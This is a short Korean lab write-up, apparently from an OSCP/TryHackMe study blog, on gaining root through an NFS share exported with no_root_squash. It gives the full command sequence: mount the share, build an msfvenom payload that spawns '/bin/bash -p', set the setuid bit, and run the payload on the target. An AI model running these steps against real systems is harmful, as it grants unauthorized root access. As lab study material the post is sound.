NFS Misconf를 이용한 로컬 권한 상승
타겟 설정 체크
cat /etc/exports
스쿼시 옵션이 disabled 되어있는지 확인
....
/tmp *(rw,sync,insecure,no_root_squash,nosubtree_check)
...
*no_root_squash 옵션으로 인해 NFS를 통해 생성된 파일은 원격 사용자의 ID를 상속합니다.
*사용자가 루트이고 루트스쿼싱이 활성화 된 경우 ID는 "nobody"사용자로 설정됩니다.
칼리셋팅
루트로 로그인 후 nfs연결
mkdir /tmp/nfs
mount -o rw,vers=2 타겟아이피:/tmp /tmp/nfs
연결된 폴더에 bash 실행 페이로드 생성
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
bash 실행파일에 setuid 권한 부여
chmod +xs /tmp/nfs/shell.elf
타겟으로 변경 후 페이로드 실행
/tmp/shell.elf
'OSCP > TryHackMe' 카테고리의 다른 글
Windows PrivEsc - Service Exploits (0) | 2020.07.12 |
---|---|
[Windows] ICE (0) | 2020.07.11 |
[Windows] Windows PrivEsc Arena (0) | 2020.06.14 |
[Linux] LFI basics - 로그 포이즈닝(LFI to RCE) (0) | 2020.06.09 |
[Linux] Common Linux Privesc (0) | 2020.06.08 |